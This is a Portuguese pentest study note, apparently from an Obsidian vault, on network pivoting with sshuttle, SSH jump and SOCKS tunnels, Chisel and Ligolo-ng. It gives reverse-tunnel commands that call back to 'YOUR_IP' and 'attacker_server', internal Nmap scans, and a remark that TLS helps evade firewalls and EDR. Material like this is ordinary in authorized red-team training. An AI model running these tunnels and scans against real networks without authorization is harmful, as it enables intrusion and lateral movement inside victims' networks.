## SSHuttle
O `sshuttle` cria uma [[VPN]] transparente (com [[iptables]] e tunelamento via SSH), **roteando todo o tráfego da sua máquina local para a rede remota**, como se você estivesse conectado diretamente nela.
Isso significa: **qualquer ferramenta de rede (como o [[Nmap]])** vai funcionar normalmente, sem precisar de [[proxychains]], [[socks]], nem configurações extras.
```shell
sshuttle -r
[email protected] 192.168.1.0/24
```
Depois só realizar a varredura normalmente:
```
nmap -sS -p22,80,445 192.168.1.0/24
```
## ProxyJump com SSH
O `ProxyJump` (ou `-J` no SSH) é um recurso do OpenSSH que permite **fazer um "jump" (salto) por uma máquina intermediária** para acessar um alvo final. Isso é muito útil em ambientes com "bastion hosts", onde só uma máquina tem acesso direto à rede interna.
Suponha:
- Sua máquina local 🧍♂️
- A máquina pivô (jump host): `
[email protected]`
- A máquina alvo na rede interna: `
[email protected]`
```shell
# Versão curta:
ssh -J
[email protected] [email protected]
# Versão Longa:
ssh -o
[email protected] [email protected]
```
## Dynamic Tunnel no SSH
Um **túnel dinâmico** via SSH é um tipo de redirecionamento de porta que transforma seu SSH em um **proxy SOCKS5**. Isso permite que você envie tráfego de rede (web, Nmap, etc.) por dentro da conexão SSH, de forma dinâmica, ou seja, para **vários destinos**, não apenas um fixo.
```shell
ssh -D 9050 -f -N
[email protected]
```
OBS: A opção `-f` coloca o SSH **em background após autenticação**, liberando seu terminal e `-N` informa ao SSH para **não executar nenhum comando remoto**, ou seja, **apenas estabelece o túnel**.
#### Como usar esse túnel?
Você pode configurar o **proxychains** ou o navegador para usar esse proxy:
1. Edite o arquivo `/etc/proxychains.conf`:
```shell
# Comente outros socks para evitar problemas
socks5 127.0.0.1 9050
```
2. Rode qualquer ferramenta:
```shell
# Rode o comando proxychains.
proxychains firefox
proxychains curl http://10.0.0.5
proxychains nmap -sT -Pn -p80 10.0.0.5
```
## Chisel
O **[[Chisel]]** é uma ferramenta escrita em Go que cria túneis TCP/UDP através de uma conexão [[WebSocket]]. É tipo um **"[[Ngrok]] hardcore para pivoting"**. Serve pra:
- Criar túnel **reverso** de porta (port forwarding reverso).
- Criar um **SOCKS5 server** na máquina alvo.
- Fazer pivoting com ferramentas como **proxychains, Nmap, Metasploit, etc.**
Na sua maquina local:
```shell
chisel server -p 8000 --reverse
```
Na sua maquina remota:
```shell
chisel client YOUR_IP:8000 R:socks
```
## Ligolo-ng
[[Ligolo-ng]] é uma ferramenta moderna para **pivoting e tunneling reverso**, muito usada por Red Teams. Ela permite **criar um túnel reverso seguro e transparente**, com suporte completo a:
- Proxy SOCKS5
- Redirecionamento de portas
- Integração com `proxychains`, `nmap`, [[Metasploit]], [[RDP]], `browser`, etc.
- **Funciona via TLS**, o que ajuda a **bypassar firewalls e EDRs**.
Na sua maquina
```markdown
./ligolo-proxy -selfcert
```
Na sua maquina remota:
```markdown
./agent -connect attacker_server:11601 -ignore-cert
```
Para visualizar as conexões abertas:
```
session
1
```
Para visualizar todas as conexões:
```
ifconfig
```
Para adicionar uma rota default:
```
sudo ip route add <Internal_Network> dev ligolo
```